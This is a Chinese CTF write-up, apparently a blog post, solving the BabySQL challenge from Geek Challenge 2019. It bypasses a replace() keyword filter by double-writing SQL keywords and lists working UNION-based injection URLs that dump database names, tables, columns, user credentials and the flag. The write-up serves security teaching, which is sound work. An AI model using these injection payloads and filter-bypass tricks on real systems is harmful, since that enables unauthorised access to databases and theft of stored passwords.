[极客大挑战 2019]BabySQL(replace()的简单过滤)

在这里插入图片描述
又是这个页面,一样的网站,就是加了过滤,试一下万能密码登陆:

用户名:1' or 1=1#
密码:123

具体报错如下:只保留了 1=1# ,这就说明被检测到了or,并把or给过滤了
在这里插入图片描述
看一看还过滤了什么玩意:
随便输入:

用户名:1' union select 1,2,3#

在这里插入图片描述
报错显示只保留了 1,2,3# ,这就说明被检测到了union 和 select,并把他们给过滤了

我们猜测后台的过滤原理是使用replace()函数,查找到or、union和select等然后替换为空了,replace()函数直接用双写绕过就行了。
改成输入:

用户名:1' oorr 1=1#

登陆成功:在这里插入图片描述
接下来的思路就和LoveSql一样了。
爆当前数据库名:

/check.php?username=1' uniunionon selselectect 1,2,database()%23&password=123

在这里插入图片描述
爆表:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123

在这里插入图片描述
难道information_schema也被过滤了?发现原来information_schema里面也有个or,以此类推order by也不可,那就改成这样:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23&password=123

还是报错:
在这里插入图片描述
试试是不是from也被过滤了:
随便输入:

用户名:1' from #

在这里插入图片描述
发现确实少了from,from确实被过滤了,同样试了试where、and等所有能用的关键字也被过滤了,
那好吧,继续:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123

在这里插入图片描述
这下成功了。
爆字段:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=123

爆数据:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,password) ffromrom b4bsql%23&password=123

却发现:在这里插入图片描述
原来password中有or,所以也被过滤了:
我们改成passwoorrd:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql%23&password=123

在这里插入图片描述
在这里插入图片描述

@附录@:

还有个方法就是通过infoorrmation_schema.schemata爆出所有的数据库名(schema_name):

/check.php?username=1' uniunionon selselectect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata %23&password=123

然后我们发现了ctf库,推测这才是有flag的库 ,当然当前的库也有可能。
在这里插入图片描述
爆表:

/check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='ctf'%23&password=123

在这里插入图片描述
发现Flag,之后再发现Flag表中有个flag字段。
爆数据:

/check.php?username=1' uniunionon selselectect 1,2,flag ffromrom ctf.Flag%23&password=123

在这里插入图片描述
必须要用ctf.Flag,否则发生如下错误:
在这里插入图片描述
因为当前连接的是geek库,不能去ctf库取数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值